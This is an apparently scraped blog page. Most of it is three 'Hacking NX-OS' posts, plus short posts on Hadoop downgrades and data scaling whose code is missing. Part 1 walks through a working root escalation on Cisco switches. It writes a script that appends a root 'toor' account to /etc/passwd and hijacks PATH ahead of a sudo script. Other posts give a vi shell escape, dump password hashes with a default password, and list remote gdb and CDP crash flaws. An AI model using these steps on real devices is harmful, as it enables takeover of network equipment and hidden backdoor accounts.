Downgrading Apache Hadoop YARN to MapReduce v1

This post is somewhat dated material.  Several years back, when YARN was first making headways and vendors starting adopting it as part of Hadoop 2.x, there were many times where I needed to downgrade to MapReduce v1.  I had written a lot of stuff for MRV1, and there were times where downgrading was the best approach to getting things back up and running.  For those that may need to, here are my notes for downgrading from YARN to MRv1:

all should be good on localhost:50030 and 50070

Posted in Data Analytics | Tagged | Leave a comment

Scaling data for Deep Learning

When building deep learning models, it can be very beneficial to scale your data.  Oftentimes data can have a huge range of unbounded values.  The goal of scaling is to bound these values.  Typically the activation functions of a neuron are going to be tanh, sigmoid or ReLU.

 

 

In the case of sigmoid, recall that the output is in the interval of [0,1], and with tanh the output is in the interval [-1,1].  Rectified Linear Unit (ReLU) activations are unbounded.  Although ReLU is commonly used these days, we can scale the data anyways.

We can use Python’s sklearn MinMaxScaler to accomplish this.

By default, MinMaxScaler will scale to the interval [0,1]

This form of scaling is referred to as normalization, that is, the data is rescaled so that all values are in the interval [0,1].  The way this is done mathematically is:

MinMaxScaler takes care of this for us, but it is important to understand the math that is at work and the consequences of it.

One of the key rules in machine learning in general, is that we do not want the training data to be tainted by any of the test data.  There are many ways in which this can happen, so one must be careful of anything done to the data before it is split.  This includes operations such as scaling.  Because scaling is based on the min and max of the set, this min and max would be greatly influenced if the scaling were all done to the combined dataset.  Instead, it is important that we first do our train / test split, to establish two sets of data, build our scale based on the train, and then scale both sets of data to that scale.  Failure to handle the scaling properly will bias your results in a positive  way.

 

Posted in Data Analytics | Tagged | Leave a comment

Hacking NX-OS Part 3

Some notes from when I first started hacking away at NX-OS in 2011:

Basically the Nexus underlying operating system, made by MonteVista, which was formally called Hard Hat Linux (a hardened version of Red Hat Linux).  I can tell you that there are numerous ways to attack these boxes.  Some that I have found:

  1. PATH not properly set in shell scripts
  2. Input not properly sanity checked in scripts
  3. IFS together with PATH exploitable
  4. gdbserver running has root, can allow you to kill any process, including securityd
  5. The binaries for the most part are stripped.  So there is no symbol information, I plan to eventually re-construct the symbol table using some tools.  This combined with gdb would give you the ability to call any function you want as root.
  6. Many processes run as root (via /etc/sudoers), its very sloppy
  7. I have found at least 5 ways to get shell access.
  8. gdb could (Theoritically) be used to overflow the stack on a number of functions to run arbitrary shellcode.  I haven’t done this because its tedious but should work.  The security problem is that you can use gdb to remotely connect in the first place.
  9. At least one serious problem is the ability to crash a nexus remotely via CDP, I don’t believe this is fixed yet.

Productive evening.  I was able to get shell access on a 5k, 7k, 1000v, and MDS, that is from the CLI I was able to get to an actual bash shell.  Oddly using different exploits on MDS vs. 5k/7k/1000v.  As far as I know these are not known to Cisco.  Its not really a serious issue since you have to have access to the box anyways.  I only tried as admin, but its likely to work from any user level.

I did not post every method that I was able to obtain root with, nor did I post the straight forward malicious methods such as constructing a special CDP packet that will take  NX-OS down every time (at least it used to).  If you have any interesting things you have found in NX-OS please let me know!

gdb

The gdb is visable via the which command.  you can do “sh processes” and see all processes, then use “gdp <process id>” to run gdb as a server.

Then from your workstation  you can connect to gdb process using “gdb target remote x.x.x.x:yyyyy" where x.x.x.x is the ip address of the mds and yyyyyy is the port the gdb says its listening on (starts at 10001).  Then you can use gdb to do things like stack smashing and other hacks.  These are advanced topics beyond what I am willing to write here, but trival for those that know security and gdb.

I have found many security holes in the shell programs, and can pass things from CLI that crash the system.  Yes most of these work in older versions of SanOS as well as NX-OS.

 

Posted in Cisco, Network Technology, Nexus, NX-OS | Tagged , | Leave a comment

Hacking NX-OS Part 2

You can see in my previous article, that I used the “bash” command.  In later NX-OS versions this was not possible.  After rooting the box, I spent a lot of time learning about all of the shell scripts and binaries on the filesystem, and I continued to hack at them.

What became my “goto” command was “this“.  I think “this” was an undocumented command.  But once you hack into the filesystem you could see it was a command that was available.

The most common hack I would do was to do like so:

and then just use :shell from within vi……..this gives you a shell, you can look around and do whatever you like.

When doing shells from within NX-OS, you may not end up with an interactive shell, so you must redirect to your tty to see the output like so:

 

df > /dev/pts/0
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/pssblkdrv           59493       214     56207   1% /data_store
none                    409600    158696    250904  39% /isan
none                    102400      164    102236   1% /var/tmp
none                    153600        0    153600   0% /var/sysmgr
none                    307200    25748    281452   9% /var/sysmgr/ftp
none                    204800     3936    200864   2% /dev/shm
none                     61440        8     61432   1% /volatile
none                      2048         0      2048   0% /debug
/dev/hd-cfg0             19564      1145     17409   7% /mnt/cfg/0
/dev/hd-cfg1             19317      1145     17175   7% /mnt/cfg/1
/dev/hd-pss              19580      2826     15743  16% /mnt/pss
/dev/hd-bootflash       181724     94174     78168  55% /bootflash
127.1.2.2:/mnt/cf/partner
186683    13960    163085   8% /modflash_2-1

id > /dev/pts/0
uid=2002(admin) gid=503(network-admin) groups=503(network-admin)

uname -a > /dev/pts/0
Linux MDS4 2.4.20_mvl31-cpci735 #1 Wed Dec 16 15:50:36 PST 2009 i686 unknown

cat /etc/passwd > /dev/pts/0
root:*:0:0:root:/root:/isanboot/bin/nobash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

Posted in Cisco, Network Technology, Nexus, NX-OS | Tagged , | Leave a comment

Hacking NX-OS Part 1

Some of you may know me as a sage hacker from the mid 80’s to the early 90’s.  Although, if you met me after 1994, most of you probably don’t know that about me at all.  It was a previous life.  Sufficient time has passed since I have informed Cisco about numerous security vulnerabilities in older versions of NX-OS that I can now make this post.  I have no idea if these are even still relevant in newer versions.  I hack stuff, and I move on.  I was quite involved in NX-OS years ago as it was based on SanOS, which was an OS that I became intimately familiar with while getting my CCIE Storage.  Now of days I focus on advanced Software Engineering and doing anything on a beach!  You may wish to read my articles:

Deconstructing Cisco NX-OS Part 1: Exploding Kickstart
Deconstructing Cisco NX-OS Part 2: Exploding the System Image

 

A walk through hacking NX-OS:

We log in as normal.

login: admin
Password:
Last login: Fri Mar 25 07:25:34 UTC 2011 on ttyS0
Last login: Fri Mar 25 07:41:04 on ttyS0
Cisco NX-OS Software
Copyright (c) 2002-2010, Cisco Systems, Inc. All rights reserved.
switch#

You can see we can run bash, look at our environment, specifically our PWD and PATH:

switch# bash set
% Warning, couldn’t set default directory, Using ‘/’ instead
BASH=/bin/sh
BASH_ARGC=()
BASH_ARGV=()
BASH_EXECUTION_STRING=set
BASH_LINENO=()
BASH_SOURCE=()
BASH_VERSINFO=([0]=”3″ [1]=”2″ [2]=”33″ [3]=”1″ [4]=”release” [5]=”i586-wrs-linux-gnu”)
BASH_VERSION=’3.2.33(1)-release’
CLIC_LEVEL=0
COLUMNS=80
CURR_PRIV_LEVEL=-1
DIRSTACK=()
EUID=2002
GROUPS=()
HOME=/var/home/admin
HOSTNAME='(none)’
HOSTTYPE=i586
IFS=’   ‘
LD_PRELOAD=/isan/lib/libcli_sandbox.so
LINES=24
LOGNAME=admin
MACHTYPE=i586-wrs-linux-gnu
MAIL=/var/mail/admin
OPTERR=1
OPTIND=1
OSTYPE=linux-gnu
PATH=/sbin:/usr/sbin:/isan/bin:/isanboot/bin:/usr/local/bin:/bin:/usr/bin
POSIXLY_CORRECT=y
PPID=5305
PS4=’+ ‘
PWD=/
SHELL=/bin/sh
SHELLOPTS=braceexpand:hashall:interactive-comments:posix
SHLVL=1
SYSMGR_CARDSTATE=1
SYSMGR_RUNNING_CFG_DIR=/dev/shm
SYSMGR_SLOT_NUM=0
SYSMGR_SYNC_CFG_DIR=/mnt/pss
SYSMGR_SYSTEM_FILES_DIR=/
SYSMGR_VDC_ID=1
SYSMGR_VDC_SRV_TYPE=50
TERM=vt100
TMOUT=0
UID=2002
VSH_EXEC_VERBOSE=0
VSH_PWD=/bootflash
_=sh

We can view /etc/passwd, its your normal NX-OS /etc/passwd, root user locked out, etc.

switch# bash cat /etc/passwd
% Warning, couldn’t set default directory, Using ‘/’ instead root:*:0:0:root:/root:/isanboot/bin/nobash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
__eemuser:*:101:100:eemuser:/var/home/__eemuser:/isanboot/bin/nobash
adminbackup:x:0:0::/var/home/adminbackup:/bin/bash
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

Lets create a script, we have write access to the filesystem, using the “nbv123” pass which is what is default for ftpuser 

switch# bash echo “#!/bin/bash” > /tmp/cat
% Warning, couldn’t set default directory, Using ‘/’ instead
switch# bash echo “echo toor:UvdRSOzORvz9o:0:0:root:/root:/bin/bash >> /etc/passwd” >> /tmp/cat
% Warning, couldn’t set default directory, Using ‘/’ instead
switch# bash cat /tmp/cat
% Warning, couldn’t set default directory, Using ‘/’ instead
#!/bin/bash
echo toor:UvdRSOzORvz9o:0:0:root:/root:/bin/bash >> /etc/passwd

Set the file to execute

switch# bash chmod 755 /tmp/cat
% Warning, couldn’t set default directory, Using ‘/’ instead
switch# bash ls -al /tmp/cat
% Warning, couldn’t set default directory, Using ‘/’ instead
-rwxr-xr-x 1 admin network-admin 76 Mar 25 07:29 /tmp/cat

Make sure we can manipulate PATH and put our CWD “.” as the first entry.  

The bash is spawned each instance of the command, so we have to set path in the same instance as the program we execute

switch# bash cd /tmp;PATH=.:$PATH;set
% Warning, couldn’t set default directory, Using ‘/’ instead
BASH=/bin/sh
BASH_ARGC=()
BASH_ARGV=()
BASH_EXECUTION_STRING=’cd /tmp;PATH=.:$PATH;set’
BASH_LINENO=()
BASH_SOURCE=()
BASH_VERSINFO=([0]=”3″ [1]=”2″ [2]=”33″ [3]=”1″ [4]=”release” [5]=”i586-wrs-linux-gnu”)
BASH_VERSION=’3.2.33(1)-release’
CLIC_LEVEL=0
COLUMNS=80
CURR_PRIV_LEVEL=-1
DIRSTACK=()
EUID=2002
GROUPS=()
HOME=/var/home/admin
HOSTNAME='(none)’
HOSTTYPE=i586
IFS=’   ‘
LD_PRELOAD=/isan/lib/libcli_sandbox.so
LINES=24
LOGNAME=admin
MACHTYPE=i586-wrs-linux-gnu
MAIL=/var/mail/admin
OLDPWD=/
OPTERR=1
OPTIND=1
OSTYPE=linux-gnu
PATH=.:/sbin:/usr/sbin:/isan/bin:/isanboot/bin:/usr/local/bin:/bin:/usr/bin
PIPESTATUS=([0]=”0″)
POSIXLY_CORRECT=y
PPID=5305
PS4=’+ ‘
PWD=/tmp
SHELL=/bin/sh
SHELLOPTS=braceexpand:hashall:interactive-comments:posix
SHLVL=1
SYSMGR_CARDSTATE=1
SYSMGR_RUNNING_CFG_DIR=/dev/shm
SYSMGR_SYNC_CFG_DIR=/mnt/pss
SYSMGR_SYSTEM_FILES_DIR=/
SYSMGR_VDC_ID=1
SYSMGR_VDC_SRV_TYPE=50
TERM=vt100
TMOUT=0
UID=2002
VSH_EXEC_VERBOSE=0
VSH_PWD=/bootflash
_=

Check our current id

switch# bash id
% Warning, couldn’t set default directory, Using ‘/’ instead
uid=2002(admin) gid=503(network-admin) groups=503(network-admin)

I can’t post this command as it would not be good, but you get the point

switch# bash cd /tmp;PATH=.:$PATH;set;sudo /isan/bin/perf-cmd.sh
% Warning, couldn’t set default directory, Using ‘/’ instead
BASH=/bin/sh
BASH_ARGC=()
BASH_EXECUTION_STRING=’cd /tmp;PATH=.:$PATH;set;sudo /isan/bin/perf-cmd.sh’
BASH_LINENO=()
BASH_SOURCE=()
BASH_VERSINFO=([0]=”3″ [1]=”2″ [2]=”33″ [3]=”1″ [4]=”release” [5]=”i586-wrs-linux-gnu”)
BASH_VERSION=’3.2.33(1)-release’
CLIC_LEVEL=0
CURR_PRIV_LEVEL=-1
DIRSTACK=()
EUID=2002
GROUPS=()
HOME=/var/home/admin
HOSTNAME='(none)’
HOSTTYPE=i586
IFS=’   ‘
LD_PRELOAD=/isan/lib/libcli_sandbox.so
LINES=24
LOGNAME=admin
MACHTYPE=i586-wrs-linux-gnu
MAIL=/var/mail/admin
OLDPWD=/
OPTERR=1
OSTYPE=linux-gnu
PATH=.:/sbin:/usr/sbin:/isan/bin:/isanboot/bin:/usr/local/bin:/bin:/usr/bin
PIPESTATUS=([0]=”0″)
POSIXLY_CORRECT=y
PPID=5305
PWD=/tmp
SHELL=/bin/sh
SHELLOPTS=braceexpand:hashall:interactive-comments:posix
SHLVL=1
SYSMGR_CARDSTATE=1
SYSMGR_RUNNING_CFG_DIR=/dev/shm
SYSMGR_SLOT_NUM=0
SYSMGR_SYNC_CFG_DIR=/mnt/pss
SYSMGR_SYSTEM_FILES_DIR=/
SYSMGR_VDC_ID=1
SYSMGR_VDC_SRV_TYPE=50
TERM=vt100
TMOUT=0
UID=2002
VSH_EXEC_VERBOSE=0
VSH_PWD=/bootflash
_=

Check /etc/passwd

switch# bash cat /etc/passwd
% Warning, couldn’t set default directory, Using ‘/’ instead
root:*:0:0:root:/root:/isanboot/bin/nobash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
adminbackup:x:0:0::/var/home/adminbackup:/bin/bash
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
toor:UvdRSOzORvz9o:0:0:root:/root:/bin/bash

SUCCESS!

switch# exit
login: toor
Password:
Last login: Fri Mar 25 07:24:46 UTC 2011 on ttyS0
Last login: Fri Mar 25 07:32:34 on ttyS0
root@(none):/root> w
07:32:37 up  1:31,  1 user,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
toor     ttyS0    –                07:32    0.00s  0.00s  0.00s w
root@(none):/root> ls -al
total 12
drwxr-x—  2 root root 100 Mar 25 07:25 .
drwxr-xr-x 35 root root 780 Mar 25 06:01 ..
-rw——-  1 root root  15 Mar 25 07:25 .bash_history
-rw-r–r–  1 root root  15 Jan 13  2009 .bash_logout
-rw-r–r–  1 root root 191 Jan 13  2009 .profile
root@(none):/root> id
uid=0(root) gid=0(root) groups=0(root)
root@(none):/root> w
07:33:28 up  1:32,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
toor     ttyS0    –                07:32    0.00s  0.00s  0.00s w

Posted in CCIE Routing and Switching, CCIE Storage, Cisco, Network Technology, Nexus, NX-OS | Tagged , | Leave a comment